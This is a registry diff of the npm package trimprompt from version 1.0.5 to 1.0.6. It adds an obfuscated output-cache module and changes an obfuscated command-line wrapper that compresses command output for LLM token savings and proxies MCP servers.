trimprompt 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/cache.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x431c2d=a0_0x59d1;(function(_0x3b3593,_0x30eeeb){const _0xb06297=a0_0x59d1,_0x35aadf=_0x3b3593();while(!![]){try{const _0x5dfae4=parseInt(_0xb06297(0x1d7))/0x1*(-parseInt(_0xb06297(0x1d0))/0x2)+parseInt(_0xb06297(0x1c7))/0x3+parseInt(_0xb06297(0x1e9))/0x4+parseInt(_0xb06297(0x1b2))/0x5+parseInt(_0xb06297(0x1a2))/0x6*(-parseInt(_0xb06297(0x1d6))/0x7)+-parseInt(_0xb06297(0x1e2))/0x8*(parseInt(_0xb06297(0x19f))/0x9)+-parseInt(_0xb06297(0x1ba))/0xa*(parseInt(_0xb06297(0x1cd))/0xb);if(_0x5dfae4===_0x30eeeb)break;else _0x35aadf['push'](_0x35aadf['shift']());}catch(_0x25ee1b){_0x35aadf['push'](_0x35aadf['shift']());}}}(a0_0x4134,0x34dc9));var __createBinding=this&&this[a0_0x431c2d(0x1d3)]||(Object['create']?function(_0x3bdb37,_0x25a49a,_0x241184,_0x411226){const _0x1b3720=a0_0x431c2d;if(_0x411226===undefined)_0x411226=_0x241184;var _0x274709=Object[_0x1b3720(0x1b1)](_0x25a49a,_0x241184);(!_0x274709||('get'in _0x274709?!_0x25a49a[_0x1b3720(0x1b8)]:_0x274709[_0x1b3720(0x1ac)]||_0x274709[_0x1b3720(0x1c9)]))&&(_0x274709={'enumerable':!![],'get':function(){return _0x25a49a[_0x241184];}}),Object['defineProperty'](_0x3bdb37,_0x411226,_0x274709);}:function(_0x348a91,_0x49f4ac,_0x402b83,_0x4f24f7){if(_0x4f24f7===undefined)_0x4f24f7=_0x402b83;_0x348a91[_0x4f24f7]=_0x49f4ac[_0x402b83];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x431c2d(0x1ed)]?function(_0x2e8f9b,_0x4df875){const _0x3384be=a0_0x431c2d;Object[_0x3384be(0x1df)](_0x2e8f9b,_0x3384be(0x1d9),{'enumerable':!![],'value':_0x4df875});}:function(_0x31d5a2,_0x47805d){_0x31d5a2['default']=_0x47805d;}),__importStar=this&&this[a0_0x431c2d(0x1e8)]||(function(){var _0x4fb427=function(_0x1e917b){const _0x24c9a5=a0_0x59d1;return _0x4fb427=Object[_0x24c9a5(0x1da)]||function(_0x500c57){const _0x18f5b9=_0x24c9a5;var _0x2244af=[];for(var _0xe52759 in _0x500c57)if(Object[_0x18f5b9(0x1e3)]['hasOwnProperty'][_0x18f5b9(0x1cf)](_0x500c57,_0xe52759))_0x2244af[_0x2244af['length']]=_0xe52759;return _0x2244af;},_0x4fb427(_0x1e917b);};return function(_0x535242){const _0x595ab1=a0_0x59d1;if(_0x535242&&_0x535242[_0x595ab1(0x1b8)])return _0x535242;var _0x24fe32={};if(_0x535242!=null){for(var _0x4b706f=_0x4fb427(_0x535242),_0x267626=0x0;_0x267626<_0x4b706f[_0x595ab1(0x1bd)];_0x267626++)if(_0x4b706f[_0x267626]!=='default')__createBinding(_0x24fe32,_0x535242,_0x4b706f[_0x267626]);}return __setModuleDefault(_0x24fe32,_0x535242),_0x24fe32;};}());Object['defineProperty'](exports,a0_0x431c2d(0x1b8),{'value':!![]}),exports[a0_0x431c2d(0x1c4)]=dedup;function a0_0x4134(){const _0x32df35=['git\x20log','create','ruff','summary','docker-images','44235JouTmy','git-show','\x20lines,\x20','110730toCVqh','slice','keys','now','endsWith','docker','go\x20vet','\x20chars','git\x20status','docker-ps','writable','go-vet','mkdirSync','stringify','split','getOwnPropertyDescriptor','1084465jUgIVF','kubectl','toLowerCase','yadm\x20show','md5','\x20lines','__esModule','existsSync','2450cLueKy','git-log','yadm\x20status','length','kubectl\x20get','writeFileSync','match','trim','\x20ls','path','dedup','timestamp','homedir','981150dIiZlI','file','configurable','cwd','yadm\x20log','update','5687drxLQC','ruff\x20check','call','1306kufRih','join','round','__createBinding','sort','createHash','84JmZODz','83VluFne','\x20entries','default','getOwnPropertyNames','ruff\x20','includes','hex','\x20tree','defineProperty','readFileSync','git\x20show','112SnOPpV','prototype','hash','utf8','\x20ls\x20','git-status','__importStar','574848usFFSS','digest','startsWith'];a0_0x4134=function(){return _0x32df35;};return a0_0x4134();}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x431c2d(0x1c3))),os=__importStar(require('os')),crypto=__importStar(require('crypto')),CACHE_DIR=path[a0_0x431c2d(0x1d1)](os[a0_0x431c2d(0x1c6)](),'.trimprompt'),CACHE_FILE=path['join'](CACHE_DIR,'cache.json'),MAX_ENTRIES=0x12c,TTL_SECONDS={'file':0x78,'git-status':0x1e,'git-log':0x3c,'git-show':0xe10,'ls':0x3c,'tree':0x3c,'docker-ps':0x1e,'docker-images':0x3c,'kubectl':0x1e,'ruff':0x3c,'go-vet':0x3c};function classifyCommand(_0x1c6bb5){const _0x2406d3=a0_0x431c2d,_0x4b9af1=_0x1c6bb5[_0x2406d3(0x1c1)]()[_0x2406d3(0x1b4)]();if(_0x4b9af1['match'](/^(cat|head|tail|read|bat)\s/))return _0x2406d3(0x1c8);if(_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1aa))||_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1bc)))return'git-status';if(_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1ec))||_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1cb)))return _0x2406d3(0x1bb);if(_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1e1))||_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1b5)))return _0x2406d3(0x1a0);if(_0x4b9af1[_0x2406d3(0x1c0)](/^(ls|dir)(\s|$)/)||_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1e6))||_0x4b9af1[_0x2406d3(0x1a6)](_0x2406d3(0x1c2)))return'ls';if(_0x4b9af1[_0x2406d3(0x1c0)](/^tree(\s|$)/)||_0x4b9af1['includes']('\x20tree\x20')||_0x4b9af1[_0x2406d3(0x1a6)](_0x2406d3(0x1de)))return'tree';if(_0x4b9af1[_0x2406d3(0x1c0)](/docker\s+ps/))return _0x2406d3(0x1ab);if(_0x4b9af1[_0x2406d3(0x1c0)](/docker\s+images/))return _0x2406d3(0x1f0);if(_0x4b9af1['includes'](_0x2406d3(0x1be))||_0x4b9af1[_0x2406d3(0x1dc)]('kubectl\x20describe'))return _0x2406d3(0x1b3);if(_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1ce))||_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1db)))return _0x2406d3(0x1ee);if(_0x4b9af1[_0x2406d3(0x1dc)](_0x2406d3(0x1a8)))return _0x2406d3(0x1ad);return'';}function md5(_0x120fde){const _0x2e7136=a0_0x431c2d;return crypto[_0x2e7136(0x1d5)](_0x2e7136(0x1b6))[_0x2e7136(0x1cc)](_0x120fde)[_0x2e7136(0x1ea)](_0x2e7136(0x1dd));}function loadStore(){const _0x3d0abf=a0_0x431c2d;try{if(fs[_0x3d0abf(0x1b9)](CACHE_FILE))return JSON['parse'](fs[_0x3d0abf(0x1e0)](CACHE_FILE,_0x3d0abf(0x1e5)));}catch{}return{};}function saveStore(_0x534ed3){const _0x43abe2=a0_0x431c2d;try{if(!fs['existsSync'](CACHE_DIR))fs[_0x43abe2(0x1ae)](CACHE_DIR,{'recursive':!![]});const _0x6886e=Object[_0x43abe2(0x1a4)](_0x534ed3);if(_0x6886e[_0x43abe2(0x1bd)]>MAX_ENTRIES){const _0x28eed4=_0x6886e[_0x43abe2(0x1d4)]((_0x1c0469,_0x4ce3c4)=>_0x534ed3[_0x1c0469][_0x43abe2(0x1c5)]-_0x534ed3[_0x4ce3c4][_0x43abe2(0x1c5)]);for(const _0x33812c of _0x28eed4[_0x43abe2(0x1a3)](0x0,_0x6886e[_0x43abe2(0x1bd)]-MAX_ENTRIES)){delete _0x534ed3[_0x33812c];}}fs[_0x43abe2(0x1bf)](CACHE_FILE,JSON[_0x43abe2(0x1af)](_0x534ed3),_0x43abe2(0x1e5));}catch{}}function a0_0x59d1(_0x55979a,_0x155ace){const _0x4134ee=a0_0x4134();return a0_0x59d1=function(_0x59d1b2,_0x58489d){_0x59d1b2=_0x59d1b2-0x19f;let _0x3d6e2e=_0x4134ee[_0x59d1b2];return _0x3d6e2e;},a0_0x59d1(_0x55979a,_0x155ace);}function buildSummary(_0x13ebb5,_0x3d733b){const _0x4aa3d4=a0_0x431c2d,_0x5b4267=_0x13ebb5[_0x4aa3d4(0x1b0)]('\x0a')[_0x4aa3d4(0x1bd)],_0x5e2a53=_0x13ebb5[_0x4aa3d4(0x1bd)];if(_0x3d733b===_0x4aa3d4(0x1c8))return _0x5b4267+_0x4aa3d4(0x1a1)+_0x5e2a53+_0x4aa3d4(0x1a9);if(_0x3d733b===_0x4aa3d4(0x1e7))return _0x5b4267+_0x4aa3d4(0x1b7);if(_0x3d733b==='git-log')return _0x5b4267+_0x4aa3d4(0x1d8);if(_0x3d733b[_0x4aa3d4(0x1eb)](_0x4aa3d4(0x1a7)))return _0x5b4267+_0x4aa3d4(0x1b7);return _0x5b4267+_0x4aa3d4(0x1a1)+_0x5e2a53+'\x20chars';}function dedup(_0x521405,_0x79e885){const _0xb12657=a0_0x431c2d;try{const _0x484a00=classifyCommand(_0x521405);if(!_0x484a00)return null;const _0x29ae82=TTL_SECONDS[_0x484a00];if(!_0x29ae82)return null;const _0x5b1bda=process[_0xb12657(0x1ca)](),_0x442d75=md5(_0x5b1bda+'::'+_0x521405[_0xb12657(0x1c1)]()),_0x5ce627=md5(_0x79e885),_0x396937=Date[_0xb12657(0x1a5)](),_0x1689d6=loadStore(),_0x45572d=_0x1689d6[_0x442d75];if(_0x45572d&&_0x45572d[_0xb12657(0x1e4)]===_0x5ce627&&_0x396937-_0x45572d['timestamp']<_0x29ae82*0x3e8){const _0x254feb=Math[_0xb12657(0x1d2)]((_0x396937-_0x45572d[_0xb12657(0x1c5)])/0x3e8);return'[cached\x20—\x20unchanged\x20since\x20'+_0x254feb+'s\x20ago,\x20'+_0x45572d[_0xb12657(0x1ef)]+']';}_0x1689d6[_0x442d75]={'hash':_0x5ce627,'summary':buildSummary(_0x79e885,_0x484a00),'timestamp':_0x396937,'chars':_0x79e885[_0xb12657(0x1bd)]},saveStore(_0x1689d6);}catch{}return null;}
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';const a0_0x58f592=a0_0x38e0;(function(_0x2d1101,_0x1d18de){const _0x5d5d6d=a0_0x38e0,_0x546d70=_0x2d1101();while(!![]){try{const _0x48dac7=-parseInt(_0x5d5d6d(0xd4))/0x1*(-parseInt(_0x5d5d6d(0x12e))/0x2)+parseInt(_0x5d5d6d(0x122))/0x3*(parseInt(_0x5d5d6d(0x141))/0x4)+parseInt(_0x5d5d6d(0xb9))/0x5+-parseInt(_0x5d5d6d(0x109))/0x6*(-parseInt(_0x5d5d6d(0xe0))/0x7)+-parseInt(_0x5d5d6d(0xd0))/0x8+-parseInt(_0x5d5d6d(0xed))/0x9+parseInt(_0x5d5d6d(0x128))/0xa*(-parseInt(_0x5d5d6d(0xad))/0xb);if(_0x48dac7===_0x1d18de)break;else _0x546d70['push'](_0x546d70['shift']());}catch(_0x32a206){_0x546d70['push'](_0x546d70['shift']());}}}(a0_0x1990,0x5dfd3));var __createBinding=this&&this[a0_0x58f592(0x114)]||(Object['create']?function(_0x11d889,_0x33f6d1,_0x51d6fb,_0x3dfc74){const _0x20d56c=a0_0x58f592;if(_0x3dfc74===undefined)_0x3dfc74=_0x51d6fb;var _0x55e064=Object[_0x20d56c(0x104)](_0x33f6d1,_0x51d6fb);(!_0x55e064||(_0x20d56c(0xaa)in _0x55e064?!_0x33f6d1[_0x20d56c(0xf9)]:_0x55e064[_0x20d56c(0x101)]||_0x55e064['configurable']))&&(_0x55e064={'enumerable':!![],'get':function(){return _0x33f6d1[_0x51d6fb];}}),Object[_0x20d56c(0x11c)](_0x11d889,_0x3dfc74,_0x55e064);}:function(_0x1cc877,_0x2d18fd,_0x504d13,_0x2d6370){if(_0x2d6370===undefined)_0x2d6370=_0x504d13;_0x1cc877[_0x2d6370]=_0x2d18fd[_0x504d13];}),__setModuleDefault=this&&this[a0_0x58f592(0xb4)]||(Object['create']?function(_0x16f049,_0x2165ea){const _0x3ba2e4=a0_0x58f592;Object[_0x3ba2e4(0x11c)](_0x16f049,_0x3ba2e4(0xc8),{'enumerable':!![],'value':_0x2165ea});}:function(_0x169748,_0x1f70cb){const _0x5adcc3=a0_0x58f592;_0x169748[_0x5adcc3(0xc8)]=_0x1f70cb;}),__importStar=this&&this['__importStar']||(function(){var _0x47adb1=function(_0x207955){const _0x467eda=a0_0x38e0;return _0x47adb1=Object[_0x467eda(0xcb)]||function(_0x43d5f1){const _0x4b367a=_0x467eda;var _0x44b57c=[];for(var _0x560224 in _0x43d5f1)if(Object[_0x4b367a(0xb7)][_0x4b367a(0xc6)][_0x4b367a(0xfe)](_0x43d5f1,_0x560224))_0x44b57c[_0x44b57c[_0x4b367a(0xdb)]]=_0x560224;return _0x44b57c;},_0x47adb1(_0x207955);};return function(_0x55c0b5){const _0x193a15=a0_0x38e0;if(_0x55c0b5&&_0x55c0b5['__esModule'])return _0x55c0b5;var _0x4966f5={};if(_0x55c0b5!=null){for(var _0x4c90bc=_0x47adb1(_0x55c0b5),_0x173ce2=0x0;_0x173ce2<_0x4c90bc[_0x193a15(0xdb)];_0x173ce2++)if(_0x4c90bc[_0x173ce2]!==_0x193a15(0xc8))__createBinding(_0x4966f5,_0x55c0b5,_0x4c90bc[_0x173ce2]);}return __setModuleDefault(_0x4966f5,_0x55c0b5),_0x4966f5;};}());Object['defineProperty'](exports,a0_0x58f592(0xf9),{'value':!![]});const commander_1=require(a0_0x58f592(0x136)),executor_1=require(a0_0x58f592(0xfc)),filters_1=require(a0_0x58f592(0x111)),tracker_1=require(a0_0x58f592(0xeb)),shims_1=require(a0_0x58f592(0x130)),dashboard_1=require(a0_0x58f592(0x11e)),program=new commander_1[(a0_0x58f592(0xf8))]();function isDisabled(){const _0x4f10c9=a0_0x58f592;return process['env'][_0x4f10c9(0x127)]==='1';}function adjustCommandArgs(_0x50a76d,_0xe2496f){const _0x3cd54b=a0_0x58f592,_0x1f19b4=_0x50a76d[_0x3cd54b(0xe9)]();if(_0x1f19b4===_0x3cd54b(0x13f)||_0x1f19b4===_0x3cd54b(0xf3)){const _0x33f6ad=_0xe2496f[0x0];if(_0x33f6ad===_0x3cd54b(0xd6)){const _0x5f4f37=_0xe2496f['slice'](0x1),_0x3cf54b=_0x5f4f37[_0x3cd54b(0xdb)]===0x0||_0x5f4f37[_0x3cd54b(0xe7)](_0x3e7210=>{const _0x1cece9=_0x3cd54b;return _0x3e7210==='-b'||_0x3e7210===_0x1cece9(0xe3)||_0x3e7210===_0x1cece9(0x116)||_0x3e7210===_0x1cece9(0x106)||_0x3e7210==='-s'||_0x3e7210==='--short';});if(_0x3cf54b)return{'cmd':_0x50a76d,'args':['status','--porcelain','-b']};}else{if(_0x33f6ad==='log'){const _0x11e8c1=_0xe2496f[_0x3cd54b(0x10d)](0x1),_0x4a2c78=_0x11e8c1['some'](_0x168fde=>_0x168fde[_0x3cd54b(0xe2)]('--oneline')||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x105))||_0x168fde[_0x3cd54b(0xe2)](_0x3cd54b(0x11f))),_0x4eb5f0=_0x11e8c1[_0x3cd54b(0xb6)](_0x5493e6=>_0x5493e6[_0x3cd54b(0xe2)]('-')&&/^\d+$/[_0x3cd54b(0x133)](_0x5493e6[_0x3cd54b(0x10d)](0x1))||_0x5493e6==='-n'||_0x5493e6[_0x3cd54b(0xe2)](_0x3cd54b(0xc3))),_0x21b17f=[..._0xe2496f];if(!_0x4a2c78){const _0x4b573b=_0x3cd54b(0x131);_0x21b17f[_0x3cd54b(0x142)](process[_0x3cd54b(0xbc)]===_0x3cd54b(0x113)?'\x22'+_0x4b573b+'\x22':_0x4b573b);}!_0x4eb5f0&&(_0x4a2c78?_0x21b17f['push']('-50'):_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x13a)));const _0x5ec799=_0x11e8c1['some'](_0x3fb891=>_0x3fb891==='--merges'||_0x3fb891==='--no-merges'||_0x3fb891[_0x3cd54b(0xe2)](_0x3cd54b(0x112)));return!_0x5ec799&&!_0x4eb5f0&&_0x21b17f[_0x3cd54b(0x142)](_0x3cd54b(0x100)),{'cmd':_0x50a76d,'args':_0x21b17f};}}}return{'cmd':_0x50a76d,'args':_0xe2496f};}function isMcpServerExecution(_0x54861c,_0x67963){const _0x3ca775=a0_0x58f592,_0x2af185=_0x54861c[_0x3ca775(0xe9)](),_0x4b384b=_0x67963[_0x3ca775(0xc9)]('\x20')[_0x3ca775(0xe9)]();if(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0x126))&&(_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xb3))||_0x2af185[_0x3ca775(0xbb)](_0x3ca775(0xa9))))return!![];if(_0x2af185===_0x3ca775(0xf1)||_0x2af185===_0x3ca775(0x10f)||_0x2af185===_0x3ca775(0x139)||_0x2af185===_0x3ca775(0xb1)||_0x2af185==='pnpm'||_0x2af185===_0x3ca775(0xfa)){if(_0x4b384b[_0x3ca775(0xbb)]('@modelcontextprotocol/')||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x110))||_0x4b384b[_0x3ca775(0xbb)](_0x3ca775(0x107))||_0x4b384b[_0x3ca775(0xbb)]('server-mcp'))return!![];}if(_0x67963[_0x3ca775(0xb6)](_0x24e973=>{const _0x5506e6=_0x3ca775,_0x12779a=_0x24e973['toLowerCase']();return _0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x107))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0x11b))||_0x12779a[_0x5506e6(0xbb)](_0x5506e6(0xc0))||_0x12779a===_0x5506e6(0xf7)||_0x12779a===_0x5506e6(0x126);}))return!![];return![];}async function runProxy(_0x2fca72){const _0x15caa5=a0_0x58f592;if(_0x2fca72[_0x15caa5(0xdb)]===0x0){program['help']();return;}const _0x431bf0=_0x2fca72[0x0],_0x59f496=_0x2fca72['slice'](0x1),_0x834d1a=_0x2fca72[_0x15caa5(0xc9)]('\x20');if(isDisabled()){const _0x32a286=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x431bf0,_0x59f496);process[_0x15caa5(0xc4)]['write'](_0x32a286[_0x15caa5(0xc4)]),process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x32a286['stderr']),process['exit'](_0x32a286['exitCode']);}if(isMcpServerExecution(_0x431bf0,_0x59f496)){console[_0x15caa5(0xba)](_0x15caa5(0x13d));const {runMcpProxy:_0x133f8f}=await Promise[_0x15caa5(0xfb)]()[_0x15caa5(0xe5)](()=>__importStar(require(_0x15caa5(0xcf))));_0x133f8f(_0x431bf0,_0x59f496);return;}const _0x34f957=adjustCommandArgs(_0x431bf0,_0x59f496),_0x420b86=await(0x0,executor_1[_0x15caa5(0x10a)])(_0x34f957['cmd'],_0x34f957['args']),_0x5bd4a2=(0x0,filters_1['compressOutput'])(_0x834d1a,_0x420b86[_0x15caa5(0xc4)],_0x420b86[_0x15caa5(0x12d)],tracker_1[_0x15caa5(0xef)][_0x15caa5(0x132)]()[_0x15caa5(0xca)]),_0x237e66=_0x420b86[_0x15caa5(0xc4)]+(_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0?'\x0a'+_0x420b86[_0x15caa5(0x12d)]:'');tracker_1[_0x15caa5(0xef)]['logExecution'](_0x834d1a,_0x237e66,_0x5bd4a2,_0x420b86[_0x15caa5(0xe8)]),_0x420b86[_0x15caa5(0xe8)]===0x0?process[_0x15caa5(0xc4)][_0x15caa5(0xd8)](_0x5bd4a2+'\x0a'):(process[_0x15caa5(0xc4)]['write'](_0x5bd4a2+'\x0a'),_0x420b86[_0x15caa5(0x12d)][_0x15caa5(0xdc)]()[_0x15caa5(0xdb)]>0x0&&!_0x5bd4a2[_0x15caa5(0xbb)](_0x420b86['stderr']['trim']())&&process[_0x15caa5(0x12d)][_0x15caa5(0xd8)](_0x420b86[_0x15caa5(0x12d)]+'\x0a')),process[_0x15caa5(0xac)](_0x420b86['exitCode']);}program[a0_0x58f592(0x134)](a0_0x58f592(0xdc))[a0_0x58f592(0x10c)](a0_0x58f592(0xdd))[a0_0x58f592(0x103)](a0_0x58f592(0x11a)),program[a0_0x58f592(0x144)]('ui')[a0_0x58f592(0xe4)](a0_0x58f592(0xcd))['description'](a0_0x58f592(0xce))[a0_0x58f592(0x12b)](a0_0x58f592(0xf2),a0_0x58f592(0xcc),'4000')[a0_0x58f592(0xbe)](_0xa9cca4=>{const _0x2d7806=a0_0x58f592,_0x2e6dae=parseInt(_0xa9cca4['port'],0xa);(0x0,dashboard_1[_0x2d7806(0xc5)])(_0x2e6dae);}),program[a0_0x58f592(0x144)]('stats')[a0_0x58f592(0x10c)]('Show\x20token\x20and\x20cost\x20savings\x20summary')['option'](a0_0x58f592(0xda),a0_0x58f592(0x123),'claude-3-5-sonnet')[a0_0x58f592(0xbe)](_0x3350f0=>{const _0x1179d1=a0_0x58f592,_0x1cd473=tracker_1['tracker'][_0x1179d1(0xee)](_0x3350f0['model']);console[_0x1179d1(0xbd)](_0x1179d1(0xf5)),console[_0x1179d1(0xbd)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console[_0x1179d1(0xbd)]('============================================='),console['log'](_0x1179d1(0x12f)+_0x1cd473[_0x1179d1(0x135)]),console[_0x1179d1(0xbd)](_0x1179d1(0xd1)+_0x1cd473[_0x1179d1(0x129)][_0x1179d1(0xb0)]()),console['log'](_0x1179d1(0x10e)+_0x1cd473[_0x1179d1(0x13e)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)](_0x1179d1(0xc1)+_0x1cd473[_0x1179d1(0xe1)][_0x1179d1(0xb0)]()),console[_0x1179d1(0xbd)]('Reduction\x20Rate:\x20\x20\x20\x20'+_0x1cd473[_0x1179d1(0x11d)]+'%'),console[_0x1179d1(0xbd)]('Estimated\x20Cost:\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xc7)]['toFixed'](0x4)+_0x1179d1(0x102)),console['log'](_0x1179d1(0xdf)+_0x1cd473[_0x1179d1(0xf6)][_0x1179d1(0xf4)](0x4)+'\x20(after\x20Shave)'),console[_0x1179d1(0xbd)](_0x1179d1(0x143)),console['log']('Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$'+_0x1cd473[_0x1179d1(0xe6)][_0x1179d1(0xf4)](0x4)+'\x20USD'),console[_0x1179d1(0xbd)](_0x1179d1(0x12a));}),program[a0_0x58f592(0x144)](a0_0x58f592(0x10b))[a0_0x58f592(0x10c)](a0_0x58f592(0xd9))[a0_0x58f592(0x115)]('<action>',a0_0x58f592(0x138))[a0_0x58f592(0x115)](a0_0x58f592(0x124),a0_0x58f592(0xb2))[a0_0x58f592(0x115)](a0_0x58f592(0xab),a0_0x58f592(0xfd))['action']((_0x4322e5,_0x4607df,_0x459817)=>{const _0x43a9d8=a0_0x58f592;if(_0x4322e5===_0x43a9d8(0xaa)){const _0x427019=tracker_1['tracker'][_0x43a9d8(0x132)]();console[_0x43a9d8(0xbd)](_0x4607df+':\x20'+_0x427019[_0x4607df]);}else{if(_0x4322e5===_0x43a9d8(0xae)){_0x459817===undefined&&(console['error'](_0x43a9d8(0x108)),process['exit'](0x1));let _0x3fe7fb=_0x459817;if(_0x459817===_0x43a9d8(0xff))_0x3fe7fb=!![];if(_0x459817===_0x43a9d8(0xde))_0x3fe7fb=![];if(/^\d+$/[_0x43a9d8(0x133)](_0x459817))_0x3fe7fb=parseInt(_0x459817,0xa);tracker_1['tracker'][_0x43a9d8(0xd7)](_0x4607df,_0x3fe7fb),console[_0x43a9d8(0xbd)](_0x43a9d8(0x121)+_0x4607df+_0x43a9d8(0x118)+_0x459817);}else console['error']('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process['exit'](0x1);}}),program[a0_0x58f592(0x144)]('shims')[a0_0x58f592(0x10c)](a0_0x58f592(0x120))['argument'](a0_0x58f592(0x140),a0_0x58f592(0xd2))[a0_0x58f592(0xbe)](_0xc88741=>{const _0x2f5212=a0_0x58f592;if(_0xc88741==='install'){const _0x96f05c=(0x0,shims_1['installShims'])();console[_0x2f5212(0xbd)](_0x96f05c[_0x2f5212(0x13b)]);}else{if(_0xc88741==='uninstall'){const _0x307007=(0x0,shims_1[_0x2f5212(0xd5)])();console[_0x2f5212(0xbd)](_0x307007[_0x2f5212(0x13b)]);}else console[_0x2f5212(0xba)](_0x2f5212(0x12c)),process[_0x2f5212(0xac)](0x1);}}),program[a0_0x58f592(0x144)](a0_0x58f592(0xd3))[a0_0x58f592(0x10c)](a0_0x58f592(0xbf))['argument'](a0_0x58f592(0x119),a0_0x58f592(0xc2))[a0_0x58f592(0xbe)](_0x4229bd=>{const _0x6745f5=a0_0x58f592;if(isDisabled()){console['log'](_0x4229bd);return;}const _0x852956=(0x0,filters_1[_0x6745f5(0xb5)])(_0x4229bd);console[_0x6745f5(0xbd)](_0x852956);}),program['command'](a0_0x58f592(0xf7))[a0_0x58f592(0xe4)](a0_0x58f592(0x126))[a0_0x58f592(0x10c)](a0_0x58f592(0xf0))[a0_0x58f592(0x115)](a0_0x58f592(0x13c),a0_0x58f592(0x117))['argument'](a0_0x58f592(0x137),a0_0x58f592(0x125))[a0_0x58f592(0xbe)](async(_0x4e7174,_0x393887)=>{const _0x487875=a0_0x58f592,{runMcpProxy:_0x29cd62}=await Promise[_0x487875(0xfb)]()[_0x487875(0xe5)](()=>__importStar(require(_0x487875(0xcf))));_0x29cd62(_0x4e7174,_0x393887);});const args=process[a0_0x58f592(0xea)][a0_0x58f592(0x10d)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard','stats','config','shims','rewrite',a0_0x58f592(0xf7),a0_0x58f592(0x126),a0_0x58f592(0xb8),a0_0x58f592(0xaf),'-h','version',a0_0x58f592(0xec),'-v'];function a0_0x38e0(_0x5f299c,_0x1d1d1f){const _0x199064=a0_0x1990();return a0_0x38e0=function(_0x38e026,_0x8720fe){_0x38e026=_0x38e026-0xa9;let _0x216478=_0x199064[_0x38e026];return _0x216478;},a0_0x38e0(_0x5f299c,_0x1d1d1f);}function a0_0x1990(){const _0x1725d2=['./filters','--min-parents','win32','__createBinding','argument','-sb','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','\x20=\x20','<commandLine>','1.0.0','server-mcp','defineProperty','savings_percentage','./dashboard','--format','Install\x20or\x20uninstall\x20system\x20command\x20shims','Config\x20set\x20','1028712yBeOIM','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','<key>','Arguments\x20for\x20the\x20target\x20MCP\x20server','mcp','TRIMPROMPT_DISABLED','2010rjlmQl','total_raw_tokens','=============================================\x0a','option','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','stderr','514676DMEQxD','Model\x20Context:\x20\x20\x20\x20\x20','./shims','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','getConfig','test','name','model_name','commander','[server-args...]','get\x20or\x20set','bun','-10','message','<server-command>','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','total_compressed_tokens','git','<action>','4XHsEHS','push','---------------------------------------------','command','proxy','get','[value]','exit','30811RbTWqy','set','--help','toLocaleString','npm','config\x20parameter\x20name','server','__setModuleDefault','rewriteCommand','some','prototype','help','3343395GidIlR','error','includes','platform','log','action','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','@modelcontextprotocol/','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','Command\x20line\x20to\x20evaluate','--max-count','stdout','startDashboard','hasOwnProperty','raw_cost_usd','default','join','redaction_enabled','getOwnPropertyNames','Port\x20to\x20run\x20the\x20dashboard\x20on','dashboard','Start\x20the\x20local\x20developer\x20dashboard','./mcp','3879688adPnxX','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','install\x20or\x20uninstall','rewrite','1ECgMVw','uninstallShims','status','setConfig','write','Manage\x20local\x20configuration\x20parameters','-m,\x20--model\x20<string>','length','trim','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','false','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','3116071DWtwAW','total_tokens_saved','startsWith','--branch','alias','then','money_saved_usd','every','exitCode','toLowerCase','argv','./tracker','--version','2530197ZvPXmV','getStatsSummary','tracker','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','npx','-p,\x20--port\x20<number>','yadm','toFixed','\x0a=============================================','compressed_cost_usd','mcp-proxy','Command','__esModule','yarn','resolve','./executor','value\x20to\x20set','call','true','--no-merges','writable','\x20(before\x20Shave)','version','getOwnPropertyDescriptor','--pretty','-bs','mcp-server','Error:\x20Value\x20required\x20for\x20set\x20action','6TCXVjl','executeCommand','config','description','slice','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','node','modelcontextprotocol'];a0_0x